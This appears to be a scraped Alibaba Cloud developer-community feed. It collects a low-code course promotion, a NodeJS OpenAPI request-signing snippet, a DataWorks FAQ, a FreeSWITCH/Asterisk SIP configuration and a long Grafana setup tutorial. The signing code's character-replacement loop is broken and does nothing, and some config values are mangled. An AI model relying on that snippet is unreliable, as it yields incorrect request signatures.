                  阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook开发者藏经阁.jpg

                  ]]>
                  阿里宜搭最全公开课合集,快来召唤神龙!还可以领取榨汁机! Fri, 02 May 2025 09:39:04 +0800 阿里云SaaS加速器0代码应用搭建平台“宜搭”

                  传统模式下需要2周才能开发完成的表单流程类应用,用宜搭2小时就能完成。任何一个没有编码能力的人,通过宜搭可视化拖拽的方式,都能轻松搭建出自己想要的应用。

                  现在,我们将向大家推出:阿里宜搭限时免费公开课系列课程!无论你是一名普通员工还是一名开发人员,相信0代码的应用搭建方式,都能给你的工作现状带来一些改变,带给你前所未有的工作体验。

                  阿里工程师手把手教你搭建企业最常用到的应用,包括T恤尺码统计应用、企业报表分析应用、企业物资管理应用、客户关系管理CRM、企业招聘管理应用、报销审批应用、请假管理应用等。赶紧一起来学习吧,让工作变得更简单,更快乐~

                  除了公开课福利,参与感兴趣课程调研,即有机会获得榨汁机哦!

                  一、T恤尺码统计
                  现实生活中,基本上每家企业都会给自己的员工发放T恤或者员工厂服,而企业给员工发放T恤,作用也是不言而喻的。

                  而我们每次发放T恤之前,有一步必不可少的就是收集员工的T恤尺码。对于每一种不同的服装,比如T恤、POLO衫、套头衫等,它们的生产尺码都是不一样的。如果需要节约企业成本,定制生产,我们就需要提前收集员工的具体衣服尺码。我们需要知道男女分别多少件、各种尺码分别多少件、每个部门应该怎么分配等等。

                  搭建这样的一个收集应用,里面除了表单,还需要有各种各样的报表,进行数据的呈现和统计。而宜搭作为天然的表单报表搭建平台,可以做到0代码搭建,轻松搞定。相比传统的Excel收集方法,可以大大节省人力和时间成本。

                  二、客户关系管理(CRM)
                  由阿里巴巴开发工程师--叶木飞为大家主讲,介绍了常见流程设计,包括流程中角色,变量,接口人的设置;审批页面的编辑权限设置,审批方式和审批机制的区别;CRM的报表展示,多表关联显示明细组件,以及明细的条件过滤和报表跳转详情页面。

                  提供咨询的技术服务型企业往往需要一套系统来管理客户信息,商业机会,工作计划,售后服务,合同管理,数据分析。所有模块归结到底离不开三个能力:数据收集,数据协作,数据展示。目前宜搭以上能力都具备,我们可以基于宜搭搭建定制化程度较高的CRM应用。

                  三、企业报表分析
                  宜搭的应用搭建者一般针对于表单流程收集上来的数据有分析的需求,本文基于宜搭提供的报表页面服务提供制作心得,主要介绍报表页面组件的使用,数据的筛选联动以及各组件的高级设置功能。

                  四、企业物资管理
                  如何通过0代码实现常见企业物资管理应用搭建,应用中包含了物资录入,物资领用(进销存)的功能;物资录入页面的编辑权限设置;录入/领用记录详情的报表展示,条件过滤和报表跳转详情页面。

                  五、企业招聘管理
                  在日常工作中,有些业务数据仍然通过Excel的方式进行管理。如何将本地excel数据线上化?本期公开课将以《招聘管理》为例,教会大家如何将已有的候选人信息通过Excel导入成线上系统,建立企业线上人才库,并打通招聘后续的面试进展,offer跟进等流程,让整个招聘管理业务系统化、线上化。

                  六、报销审批
                  如何让一名普通员工通过0代码的方式实现报销审批应用的搭建?本节课将从报销审批的场景切入,介绍宜搭强大的流程引擎,重点将流程设置环节中最常见的审批人规则、条件分支、审批动作、页面字段权限、数据权限等方面进行深入讲解和演示。

                  七、请假管理
                  请假系统是企业管理常用系统之一,它一般分为管理态和使用态。管理态的用户为管理者,用来维护员工的假期信息,使用态的用户为普通员工,根据自身的不同需要提交不同的假期申请。一个请假系统通常包括了假期基本信息的维护、假期申请、假期审批和假期报表等功能,甚至包括与考勤、财务等三方系统的打通。本期的公开课将以假期系统为例,为大家演示假期申请、高级审批、报表等方面的内容,同时实现和外部系统对接的简单示例。

                  调研banner.jpg

                  点击此处,即可观看七期公开课完整视频,还可以参与感兴趣课程调研活动,领取榨汁机!

                  更多公开课动态,欢迎扫码进钉钉群,学习更多应用搭建案例!
                  钉钉扫码.png

                  ]]>
                  阿里云openApi签名实现代码基于(NodeJS) Fri, 02 May 2025 09:39:04 +0800 strToSign的构造过程以如下流程简要说明:
                  image.png

                  var HmacSha1 = require('crypto-js/hmac-sha1');
                  var Base64 = require('crypto-js/enc-base64');
                  var Moment = require('moment');
                  var Uuid = require('uuid');
                  var Urlencode = require('urlencode');
                  
                  //AccessKeySecret
                  var accesskeysecret = 'yourAccessKeySecret'+'&';
                  //获取timestamp
                  var timeStamp = Moment(new Date().get).utcOffset(0).format();
                  //获取signatureNorce
                  var signatureNorce = Uuid.v4();
                  var params = {"Format":"JSON","Version":"2017-03-21","SignatureMethod":"HMAC-SHA1","SignatureNonce":signatureNorce,"SignatureVersion":"1.0","AccessKeyId":"yourAccessKeyId","Timestamp":timeStamp,"Action":"GetVideoPlayAuth","VideoId":"f10d3a6c9b3d4881b91da0f8d7d90d09"};
                  //对各个参数进行字典序升序排序
                  function sortObjectKeys(obj){
                      var tmp={};
                      Object.keys(obj).sort().forEach(function(k){tmp[k]=obj[k]});
                      return tmp;
                  }
                  params = sortObjectKeys(params);
                  //对排序之后的参数进行urlEncode
                  for(var i in params){
                      params[i] = Urlencode(params[i]);
                  }
                  //对urlencode之后的特殊字符进行替换
                  for(var k in params){
                      if(params[i].indexOf('+')){
                          params[i].replace("+","%20");
                      }else if(params[i].indexOf('*')){
                          params[i].replace("*","%2A");
                      }else if(params[i].indexOf('%7E')){
                          params[i].replace("%7E","~");
                      }
                  }
                  
                  //拼接strToSign
                  var strToSign = '';
                  for(var ii in params){
                      strToSign += ii +'='+ params[ii]+'&';
                  }
                  strToSign = strToSign.substr(0,strToSign.length-1);
                  strToSign = "GET&"+Urlencode('/')+'&' + Urlencode(strToSign);
                  //计算签名
                  params['Signature'] = Base64.stringify(HmacSha1(strToSign,accesskeysecret));
                  
                  var url = 'http://vod.cn-shanghai.aliyuncs.com?';
                  for(var param in params){
                      url += param +'='+ params[param]+'&';
                  }
                  
                  console.log(url.substr(0,url.length-1));
                  ]]>
                  DataWorks百问百答19:数据质量出现校验异常如何查看? Fri, 02 May 2025 09:39:04 +0800

                  问题场景现象:

                     (1)用户选择相应的表,建立分区表达式后,配置了如下校验规则:

                  image.png


                           (2)配置完规则(弹外公有云,不要忘记关联相关节点任务),用户点击试跑,跳转到如下试跑结果页面,发现校验异常,此时用户无法看到具体的异常情况。
                  image.png

                  解决方案:

                     (1)用户想要查看具体的校验异常结果状态,在界面上没有入口可以查看到。

                  image.png
                       
                  (2)此时,用户可以进入到“任务查询”页面,找到刚才试跑的那个表,在右侧操作窗口,点击“日志”进入可以查看详细校验过程。

                  image.png
                                 
                       
                  (3) 在日志尾端,您可以看到一串TaskID,拿到TaskID后,现在您可以根据下方地址进行查看,将TaskID填入对应的URL中,根据所在的环境查看相应的校验过程和校验结果:

                  公有云(根据用户使用的region修改url参数):
                          ①校验过程链接:http://dqcapi.cn-hangzhou.data.aliyun-inc.com/rest/log/get.do?spm=a2o72.10524816.0.0.Qty2Hh&taskId=
                          ②校验结果链接:http://dqcapi.cn-shanghai.data.aliyun-inc.com/dqc/view/checkResult?taskId=

                  image.png    

                   (4)以上就是校验结果的一些展示,通过上方链接对应的URL地址,就可以直接查看您此次试跑的校验结果,从中可以看出校验异常的具体问题,从而对您的数据,或者配置的校验规则作出相应的调整。

                  获取TaskID便捷方式:

                  image.png

                     方式1:进入“任务查询”界面,点击右侧操作窗口的“详情”,然后在跳转后的URL地址中获取到相应任务的TaskID:
                  https://dqc.dw.alibaba-inc.com/?spm=a1z3jh.11711356.0.0.1fc15dbazCLAhD#/jobDetail?projectName=autotest&tableName=wpw_test_ll&entityId=2547274&taskId=1582808557155c7ea353facb541c6ac7cef88059444d8&bizDate=1582646400000&executeTime=1582808561000

                           
                  方式2:点击试跑后,下方会显示“试跑成功。点击查看试跑结果”,跳转后,也会在跳转后的URL地址中获取到相应任务的TaskID。

                  image.png

                  DataWorks百问百答历史记录 请点击这里查看>>

                  更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

                  ]]>
                  freeswitch对接asterisk压测 Fri, 02 May 2025 09:39:04 +0800 重点说明freeswitch的配置 我们假设asterisk的IP为210.134.185.9,有个sip号码为60006 1、asterisk配置 修改sip.conf,添加如下内容: [fs_zmrh] username=fs_zmrh secret=123 host=dynamic type=peer nat=yes context=from-internal 2、配置domain 修改freeswitch安装目录下conf/drectory/default.xml,添加如下内容: <domain name="210.134.185.9"> <params> <param name="dial-string" value="{presence_id=${dialed_user}@${dialed_domain}}${sofia_contact(${dialed_user}@${dialed_domain})}"/> </params> <variables> <variable name="record_stereo" value="true"/> <variable name="default_areacode" value="$${default_areacode}"/> <variable name="transfer_fallback_extension" value="operator"/> </variables> <user id="210.134.185.9"> <gateways> <X-PRE-PROCESS cmd="include" data="gateway/*.xml"/> </gateways> </user> </domain> 3、配置网关(gateway) 在freeswtich的conf/directory/目录下新建文件夹gateway,在gateway文件夹下新建一个xml文件,内容如下: <include> <gateway name="asterisk"> <param name="username" value="fs_zmrh"/> <param name="password" value="123"/> <param name="realm" value="210.134.185.9"/> <param name="from-domain" value="210.134.185.9"/> <param name="expire-seconds" value="600"/> <param name="register" value="false"/> </gateway> </include> 4、配置呼叫规则 修改freeswtich安装目录下的conf/dialplan/default.xml,添加内容如下: <extension name="extension-asterisk"> <condition field="destination_number" expression="^(6[01][01][0-9][0-9])$"> <action application="set" data="dialed_extension=$1"/> <action application="bridge" data="sofia/gateway/asterisk/$1"/> </condition> </extension> 配置完毕,启动freeswitch即可进行呼叫 注意: 如果freeswitch和asterisk都在内网,请修改freeswtich安装目录下的conf/sip_profiles下的external.xml,如下,原来为: <param name="ext-rtp-ip" value="$${external_rtp_ip}"/> <param name="ext-sip-ip" value="$${external_sip_ip}"/> 修改为: <param name="ext-rtp-ip" value="$${local_ip_v4}"/> <param name="ext-sip-ip" value="$${local_ip_v4}"/>

      然后软电话直接测试

      ]]>
      Grafana数据可视化工具安装与应用 Fri, 02 May 2025 09:39:04 +0800 Grafana数据可视化工具安装与应用

      关键词:Grafana、Elasticsearch、Table、Gauge、BarGrauge、Graph、PieChart、Variables。

      Grafana是开源的可视化和数据监控分析工具软件。
      支持查询、呈现、告警和浏览指标。
      无视数据存储位置与数据库类型,只要Grafana能够访问到数据则可支持呈现。
      可通过简单的配置,将时间序列数据库数据转换为图形和可视化效果。
      本文中示例数据以Elasticsearch数据库为主,其他类型数据设置方式类似。

      1、安装和配置

      1.1、工具安装

      登陆Grafana官方下载地址https://grafana.com/grafana/download 获得安装文件。
      image.png

      1.1.1、在线安装

      (1)下载源码包
      wget https://dl.grafana.com/oss/release/grafana-6.7.2-1.x86_64.rpm
      image.png
      (2)YUM安装
      sudo yum install grafana-6.7.2-1.x86_64.rpm
      image.png
      (3)初始化
      重载systemd配置:
      systemctl daemon-reload
      启动服务:
      systemctl start grafana-server
      查看状态:
      systemctl status grafana-server
      设置开机启动:
      systemctl enable grafana-server.service
      image.png
      (4)测试
      注:需关闭防火墙或放开3000端口
      地址:http://IP地址:3000
      默认账号密码:admin/admin
      image.png
      image.png

      1.1.2、离线安装

      (1)下载源码包
      选择系统类型并通过下载链接下载rpm包:
      https://dl.grafana.com/oss/release/grafana-6.7.2-1.x86_64.rpm
      (2)YUM指定源码包安装
      下载完成后将rpm包上传至linu服务器,并通过yum命令安装rpm包:
      yum install -y grafana-6.7.2-1.x86_64.rpm
      image.png
      (3)初始化
      启动grafana服务:
      service grafana-server restart
      image.png
      将grafana服务器配置为在开机时启动:
      chkconfig grafana-server on
      image.png
      (4)测试
      注:需关闭防火墙或放开3000端口
      地址:http://IP地址:3000
      默认账号密码:admin/admin
      image.png
      image.png

      1.2、配置管理

      1.2.1、环境配置

      (1)常用路径

      二进制文件
      /usr/sbin/grafana-server
      启动脚本
      /etc/init.d/grafana-server
      环境变量
      /etc/sysconfig/grafana-server
      image.png
      配置文件
      /etc/grafana/grafana.ini
      image.png
      systemd服务
      grafana-server.service
      日志
      /var/log/grafana/grafana.log

      (2)常用命令

      加载配置文件
      systemctl daemon-reload
      启动grafana服务
      systemctl start grafana-server
      设置开机启动
      systemctl enable grafana-server.service
      image.png
      重启grafana服务
      service grafana-server restart
      image.png
      查看运行状态
      systemctl status grafana-server
      image.png

      (3)配置文件说明

      配置文件/etc/grafana/grafana.ini内容:

      【paths】
      data=/var/lib/grafana#用来存储sqlite3、临时文件、会话等路径
      logs=/var/log/grafana#日志路径
      plugins=/var/lib/grafana/plugins#插件路径
      【server】
      protocol=http#访问协议,默认http
      http_addr=#监听的ip地址,默认是0.0.0.0
      http_port=3000#监听的端口,默认是3000
      domain =localhost#通过浏览器访问grafana时的公开的domian名称,默认是localhost
      enforce_domain =false#如果主机的头不匹配domian,则跳转到一个正确的域上,默认是false
      root_url=http//localhost3000#访问grafana的全路径url
      router_logging =false#是否记录web请求日志,默认是false
      static_root_path=public#前端文件(HTML,JS和CSS文件)的目录路径默认为public
      enable_gzip =false
      cert_file=#SSL变量,使用用https时需要设置
      cert_key=#证书,使用用https时需要设置
      【database】
      type=sqlite3#数据库,默认是sqlite3
      host=127.0.0.1:3306#mysql,postgres需要,默认是127.0.0.1:3306
      name=grafana#grafana的数据库名称,默认是grafana
      user=grafana#数据库用户名
      password=grafana#数据库密码
      url=#使用URL配置数据库
      ssl_mode=禁用#mysql,postgres使用
      path = grafana.db#只是sqlite3需要,定义sqlite3的存储路径
      【session】
      provider=file#session存储类型
      provider_config=sessions
      cookie_name=grafana_sess#grafana的cookie名称
      cookie_secure=false#是否依赖https,默认为false
      session_life_tim =86400#session过期时间,默认=86400秒
      【log】
      mode=console file#日志模式
      level=info#日志级别
      filters=#可选设置为特定的记录设置不同的级别
      【log.console】
      level=#日志级别
      format =console#日志格式
      【log.file】
      level=#日志级别
      format=text#日志格式
      log_rotate=true
      max_lines =1000000#单个日志文件的最大行数
      max_size_shift=28#单个日志文件的最大大小
      daily_rotate=true
      max_days =7#日志过期时间单位天
      【users】
      allow_sign_up=true#是否允许普通用户登录
      allow_org_create=true#是否允许用户创建新组织
      auto_assign_org=true#是否自动的把新增用户增加到id为1的组织中
      auto_assign_org_role=Viewer#新建用户附加的规则
      login_hintdisable_login_form=false#是否隐藏登陆框
      default_theme=dark#默认页面的背景
      【auth】
      disable_login_form=false#是否隐藏登陆框
      【auth.basic】
      enabled=true#是否开启HttpApi基本认证
      【smtp】邮件服务器设置
      enabled=false#是否开启
      host=localhost25#ip和端口
      user=
      passwd=
      cert_file=
      key_file=
      skip_verify=false
      from_address=admin@grafana.localhost#发送邮箱名
      from_name=Grafana#发送人
      【dashboards.json】
      enabled=true#是否开启自定义dashboards
      path=/var/lib/grafana/dashboards#自定义dashboards路径
      【Alerting】
      enabled=true#是否启用警报引擎
      execute_alerts=true#是否执行报警规则
      【auth.proxy】
      enabled=false#允许在HTTP反向代理上进行认证设置
      header_name=X-WEBAUTH-USER
      header_property=用户名
      auto_sign_up =true#是否开启自动注册
      ldap_sync_ttl=60
      whitelist=#白名单
      【analytics】
      reporting_enabled=true#是否匿名发送使用分析stats.grafana.org
      check_for_updates=true#更新检查设置
      google_analytics_ua_id =#使用GA进行分析,填写GAID

      1.2.2、插件安装

      注:以饼图插件(PieChart)为例。

      (1)查找插件

      点击进入图标进入选中图形插件。
      image.png
      通过install Plugin按钮可实现在线安装(需登录)。

      (2)命令安装

      安装插件(上图中标记部分)
      grafana-cli plugins install grafana-piechart-panel
      安装完成重启服务
      service grafana-server restart
      image.png
      安装成功,grafana插件列表中显示饼图插件。
      image.png

      (3)源码包安装

      下载源码包
      wget -nv https://grafana.com/api/plugins/grafana-piechart-panel/versions/latest/download -O /tmp/grafana-piechart-panel.zip
      解压安装包
      unzip -q /tmp/grafana-piechart-panel.zip -d /tmp
      移动到目标路径
      mv /tmp/grafana-piechart-panel-* /var/lib/grafana/plugins/grafana-piechart-panel
      重启服务
      service grafana-server restart

      1.3、用户管理

      1.3.1、添加用户

      1)进入用户管理并选择添加用户
      Configuration->Users->Invite
      image.png
      2)编辑需要添加的用户信息:
      Email or Username:输入用户邮箱
      Name:输入用户名
      Role:配置用户权限(只读Viewer 编辑Editor 管理员Admin)
      Send invite email:勾选时,会将新用户的设置密码的链接发到邮箱。
      image.png
      3)用户信息设置:
      复制链接到浏览器的地址栏中访问(也可从邮件中收到链接)。
      image.png
      设置用户邮箱、账号、密码等信息。
      image.png
      完成后,系统自动跳转为新设置的用户登录。
      image.png

      1.3.2、权限管理

      (1)权限规则

      1)多用户管理规则:
      Grafana通过支持创建多个组织、支对用户赋予不同权限。
      支持通过将用户分配到不同组织,对其权限进行分隔,以此实现多租户功能。
      每个组织都包含自己的仪表板,数据源和配置,并且不能在组织之间共享。
      每个组织的数据源是不能复用的。即每个组织创建的数据源和DashBoard等资源为该组织独有,其他组织及其成员不可应用或访问。
      同一个账号可关联不同组织,但不支持同时使用不同组织的内容。
      用户账号登录的时候只看到其关联的组织的,且自己有权限的Dashboards。
      与多个组织关联的账号需要使用归属不同组织的内容时,需要通过左上角的按钮切换组织。
      默认仅允许具有管理员权限的账号创建新的组织,可以通过修改配置文件以允许非管理员用户创建组织。
      普通账号可以被赋予管理员权限,管理员可对其他用户授权。
      2)用户权限类型:
      Admin:管理员。添加和编辑数据源,添加和编辑组织用户和团队,配置插件并设置组织设置。
      Editor:编辑。创建和修改仪表板和警报规则,可以在特定文件夹和仪表板上禁用此功能,无法创建或编辑数据源,也无法邀请新用户。
      Viewer:查看。查看仪表板可以在特定文件夹和仪表板上禁用此功能,无法创建或编辑仪表板或数据源。

      (2)应用示例

      1)添加组织org:
      添加组织。Server Admin->orgs->New org。
      image.png
      创建组织。选择Create创建组织,窗口主动跳转值组织设置。
      image.png
      组织设置,组织名称与显示设置,包括Grafana显示的主题、用户默认主页等。
      image.png
      组织设置,可以更新组织名称或踢出组内成员。
      image.png
      将用户添加到组织。添加用户到组织后,该用户可使用该组织的资源(资源另有权限限制除外)。
      image.png
      2)Dashboard访问授权:
      文件夹授权参考下文“管理文件夹”部分。
      image.png
      Dashboard的使用权限可继承自其归属的文件夹,也可主动设置。
      image.png

      2、添加数据源

      Grafana呈现数据图表的前提是需要将Grafana与待呈现的数据表(或者索引)连接。
      每个数据源为可视为一个数据表或索引,即通过配置将Grafana与对应的数据库连接,并制定对应的表或者索引。
      当数据源创建完成或已存在后,方可以此为基础进行数据的统计与呈现。
      数据源设置流程:Configuration->Data Sources->Add Data Sources->选择对应数据库类型->配置连接并保存。
      以下通过添加Elasticsearch数据库中某索引为例。

      2.1、选择数据源类型

      (1)进入数据源设置界面并选择需要添加的数据源的数据(库)类型:
      Configuration->Data source->Add data sources。
      image.png
      (2)添加指定数据库类型的数据源:
      Add data sources->选择数据源类型->select进入编辑界面。
      image.png

      2.2、数据连接配置

      进入数据源配置界面,添加数据源并测试。
      设置数据源名称、连接方式、以及具体的数据索引或数据表。
      image.png
      image.png
      (2)选择保存并测试(Save & Test),当系统显示“Index OK. Time field name OK”则说明设置成功。
      image.png

      3、创建仪表板

      3.1、创建文件夹

      注:文件夹为非必须存在的内容,即是否设置文件夹不影响使用。
      用户可以通过Create功能直接创建文件夹,或在创建的Dashboard时同时创建文件夹。

      3.1.1、直接创建文件夹

      直接选择创建文件夹:
      Create->Folder->Manage->New Dashboard Folder->添加Name->Create。
      image.png

      3.1.2、同时创建文件夹

      在创建Dashboard的同时创建文件夹,并将该Dashboard自动归类在该文件夹:
      Create->Dashboard->Save Dashboard >Save As->添加Dashboard名称->Folder选择New Floder->设置文件夹名称->创建文件夹Create->Save保存设置。
      image.png

      3.2、管理文件夹

      3.2.1、 进入文件夹管理方式

      (1)直接创建文件夹成功后,自动跳转至管理界面。
      image.png
      (2)通过“设置”按钮进入。
      image.png

      3.2.2、管理文件夹

      (1)在文件夹中添加DashBoard。
      image.png
      (2)配置当前文件夹的用户权限。
      image.png
      注:也可通过AddPermission来添加Team或User。
      (3)设置当前文件夹(例如更名、删除)。
      image.png

      3.3、创建仪表板Dashboard

      3.3.1、通过文件夹(Folder)创建Dashboard

      在文件夹管理界面创建Dashboard:
      Dashboards/文件夹名称->Dashboards->Create Dashboard。
      image.png

      3.3.2、直接创建Dashboard

      直接创建Dashboard并选择其归属的文件夹:
      Create->Dashboard->save dashboard-> Save As->New Name设置dashboard名称->Folder设置归属文件夹(此处可不设置)->Save保存设置。
      image.png

      4、常用图表

      在DashBoard界面,点击上沿工具栏中“柱形图标add panel”,生成编辑选项“New Panel”。
      image.png

      4.1、行标题

      行标题为用于提示或分割图表区域的标签,添加方式为:
      add panel-> New Panel->convert to row
      可以点击“设置”图标(齿轮),编辑设置选项“Row Options”。
      image.png

      4.2、表格Table

      4.2.1、选择添加表格

      添加图表并选择图表类型:
      add panel ->New Panel->Chooes Visualization->选择表格“Table”;
      点击进入图表编辑或设置选项。
      image.png

      4.2.2、进入查询编辑Queries

      进入Queries,选择数据源并配置所需字段,配置选项说明如下示例。

      (1)添加数据源与指标

      A、数据源选择:
      image.png
      B、指标配置:
      若不存在预置查询则通过Add Query添加查询,查询选项条目如下列所示。
      Metric:设置指标以及其计算方式。
      Group by:设置分组方式。
      Then by:添加分组方式。
      Query:查询条件选框。其中可以加入语句用作过滤条件,与Group by中的Filters类似。
      C、分组(Group by)方式:
      1)分组方式eq1:以时间直方图(Date Histogram)分组
      image.png
      2)分组方式eq2:以筛选条件(Filters)分组
      image.png
      3)分组方式eq3:以条款(Terms)分组
      image.png
      此分组方式只在“Data>Table Transform”为“Table”时生效,此时Terms对应的字段将作为表头呈现。
      image.png
      D、时间设置
      由于数据延时,图表中(特别是Table类),所显示的最近的时间点的数据可能为空,此时可通过“时移Time shift”设置来将显示的最近时间向前移动。
      image.png
      image.png

      (2)常用函数

      count:统计数据源中符合要求的记录数。
      Average:均值。
      Sum:求和。
      Max:最大值。
      Min:最小值。
      Percentiles:百分位,用于计算分析数据的K百分比数值点。
      Unique count:唯一计数,即某内容的出现次数。
      Logs:日志。按照日志原有样式显示。

      (3)Bucket Script函数

      通过Bucket Script(分桶脚本)函数,对多个指标进行聚合运算,例如对多个指定的指标进行数学运算。
      image.png

      (4)Extended Stats函数

      通过Extended Stats(聚合拓展)函数,可以对聚合的结果进行更近一步的分析,例如获取均值、最大值、最小值等。
      image.png

      4.2.3、进入视图编辑Visualization

      (1)数据设置Data

      设置数据显示方式,决定了表格以哪种方式呈现:
      Visualization->Data-> Table Transform。
      image.png
      其中数据显示方式(Table Transform)选项包含以下选项:
      1)time series to rows:按时间分行显示。同一行内显示“时间”“指标名”“指标值”。
      2)time series to columns:按时间分列显示。同一行内显示“时间”“指标值”,“指标名”为“指标值”所对应对的列名。
      3)time series aggregations:按时间聚合。将当前所选的时间范围内的指标聚合统计,不显示时间列。
      4)annotations:注释。
      5)Table:表格。
      6)Json Data:Json数据。

      (2)列设置Column Styles

      注:根据字段类型(Type)不同,可选项目不同,例如Number格式字段可以配置告警。
      1)字段类型eq1:字段类型为Date:
      image.png
      2)字段类型eq2:字段类型为Number(此时可以设置指标值在不同区间的颜色):
      image.png
      其中告警阈值设置为“0.1,0.2”即当数值小于“0.1”时为绿色,在“0.1,0.2”之间时为橙色,大于“0.2”时为红色(颜色对应顺序可调整)。
      image.png

      (3)添加列设置

      1)点击添加列设置“Add column style”新增列设置选项。
      2)选择添加列后,系统自动增加“Options”选择面板,配置步骤与上述相同。
      3)当“Apply to columns named”设置为“/.*/”时,意为统配除已设置好的字段之外的其他所有字段,且该设置应在此类设置的最后一条,否则在它之后的其他设置将不再生效。

      4.2.4、进入图表管理

      进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
      image.png
      完成后图表样式为:
      image.png

      4.2.5、图表Table导出

      图表标题->More ->Expore CSV。
      image.png

      4.3、仪表盘Gauge

      4.3.1、选择添加仪表盘

      添加图表并选择图表类型:
      add panel ->New Panel->Chooes Visualization->选择仪表盘“Gauge”;
      点击进入图表编辑或设置选项。
      image.png

      4.3.2、进入查询编辑Queries

      进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述Table步骤类似,指标函数与用法基本相同。
      image.png

      4.3.3、进入视图编辑Visualization

      (1)呈现设置

      Display:设置数据显示方式。
      1)Show为图表显示方式。其中Caculation为将涉及的数据统计计算后呈现;All Values为将涉及的所有数值依次全部显示(最终显示多个仪表盘)。
      2)Calc为指标值的汇聚方式,例如显示最后一个非空值、显示均值、峰值等。
      Field:设置图中呈现内容,包括指标标题、数据单位、仪表盘数值的起止范围,显示数据的保留小数位数。
      Thresholds:设置指标值在不同的取值区间内按照指定的颜色显示。数值由低到高添加,颜色可通过调色板选择调整。
      image.png

      (2)设置映射值Value mappings

      Value mappings:可以设置一个数值(指标类型为数值value)或者一个范围(指标类型为百分比range),当图中指标值在所设置的数值范围内或相等,则图中显示预设(Text中)内容。
      注:该设置将会影响数值的正常显示。
      image.png

      4.2.4、进入图表管理

      进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
      image.png
      完成后图表样式为:
      image.png

      4.4、柱形图BarGrauge

      4.4.1、选择添加柱形图

      添加图表并选择图表类型:
      add panel ->New Panel->Chooes Visualization->选择柱形图“Bar Gauge”;
      点击进入图表编辑或设置选项。
      image.png

      4.4.2、进入查询编辑Queries

      进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述步骤类似,指标函数与用法基本相同。
      需注意分组的设置,Order By设置中包含有DocCount根据记录条数,TermValue分组字段的值,以及之前设置的某一计算结果。
      image.png

      4.5.3、进入视图编辑Visualization

      (1)呈现设置

      Display:设置数据显示方式。
      1)show为图表显示方式。其中Caculation为将涉及的数据统计计算后呈现;All Values为将涉及的所有数值依次全部显示(最终显示多个仪表盘)。
      2)Calc为指标值的汇聚方式,例如显示最后一个非空值、显示均值、峰值等。
      3)Orientation为柱形图方向。horizontal为横向;vertical为垂直方向。
      4)Mode为显示模式。其中gradient为阶梯状;petro LCD为液晶格式;Basic为基础格式。
      Field:设置图中呈现内容,包括指标标题、数据单位、仪表盘数值的起止范围,显示数据的保留小数位数。
      Thresholds:设置指标值在不同的取值区间内按照指定的颜色显示。数值由低到高添加,颜色可通过调色板选择调整。
      image.png

      (2)设置映射值Value mappings

      Value mappings:设置一个数值(指标类型为数值value)或者一个范围(指标类型为百分比range),当图中指标值在所设置的数值范围内或相等,则图中显示预设(Text中)内容。效果与上述“仪表盘”类似,示例略。

      4.2.4、进入图表管理

      进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
      image.png
      完成后图表样式为:
      image.png

      4.5、趋势图Graph

      4.5.1、选择添加趋势图

      添加图表并选择图表类型:
      add panel ->New Panel->Chooes Visualization->选择趋势图“Graph”;
      点击进入图表编辑或设置选项。
      image.png

      4.5.2、进入查询编辑Queries

      进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述步骤类似,指标函数与用法基本相同。
      分组设置中,Order By设置中包含有DocCount根据记录条数,TermValue分组字段的值,以及之前设置的某一计算结果。
      image.png
      当图中有多行(组)显示且具有多条筛选条件时,其筛选条件将与分组值同时在悬浮标签中展示,此时可通过设置Lable值来调整显示内容,否则筛选条件将直接被原样显示,影响展示效果。
      image.png

      4.5.3、进入视图编辑Visualization

      (1)呈现设置

      Draw Modes与Mode Options:设置数据显示方式。
      Hover tooltip:设置悬浮选框中的显示模式。
      Stacking & Null value:设置堆栈格式和空值的处理方式。
      image.png

      (2)坐标轴设置Axes

      Y轴包含左右两个坐标轴,通过show管理是否显示。
      具体设置方式如下图。
      注:此处保留小数位设置Decimals,仅控制坐标轴中数值显示,与其他悬浮和下方显示的数值无关。
      image.png

      (3)说明设置Legend

      图表之外添加的指标标签,具体选项入下图所示。
      注1:此处保留小数位设置Decimals,控制图中标签显示,包括下方横标签和悬浮标签的数位。
      注2:此处options中Show设置仅控制下方图例标签显示,不影响图中悬浮标签。
      image.png
      效果如下图所示。
      image.png

      (4)扩展:副(右)坐标轴Right Y设置

      当存在两条数量级差距巨大的指标曲线时,可能需要启用右侧坐标轴。
      使用右侧坐标轴时,首先需在“呈现设置选框组”中启用“替代列series override”,即创建另一条曲线或指标的呈现规则,并在此规则中将名称(名称alias or regex)指向需要呈现的指标。设置该指标的呈现为第二个Y轴(Y-axis:2),同时设置其他的呈现要求。
      image.png
      上述设置完成后,“坐标轴设置Axes”中的“Right Y”选项才能生效。
      image.png
      设置完成后,指标曲线由双坐标呈现。
      image.png
      4.5.4、进入图表管理
      进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
      image.png
      完成后图表样式为:
      image.png

      4.6、饼/环形图Pie Chart

      4.6.1、选择添加趋势图

      添加图表并选择图表类型:
      add panel ->New Panel->Chooes Visualization->选择饼图“Pie chart”;
      注:此插件并非grafana初始自带,需安装后方可使用。
      点击进入图表编辑或设置选项。
      image.png

      4.6.2、进入查询编辑Queries

      进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述步骤类似,指标函数与用法基本相同。
      image.png
      当图中提示“Could not draw pie with labels contained inside canvas”时,原因多为绘图空间较小,图形无法呈现,此时并非配置或语法错误,向下拖动下边界扩大绘图区域即可。
      image.png

      4.6.3、进入视图编辑Visualization

      Type:设置数据显示方式。包括饼形图pie和环形图donut。
      Value:设置显示的数值的类型。包括总计total,最大值max,最小值min,平均值avg,当前值current。
      Position:设置标签的显示位置。包括在悬浮在图表上on graph,在图表下方under graph,在图表右侧right side。
      image.png

      4.6.4、进入图表管理

      进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
      image.png
      完成后图表样式为:
      image.png

      4.7、筛选条件/变量Variables

      在Grafana可视化工具中,通过Variables template配置实现类似Kibana的关联选择钻取,即创建“条件筛选框”或“动态级联菜单”。
      进入Dashboard设置中的变量设置:Settings->Variables->Add variable
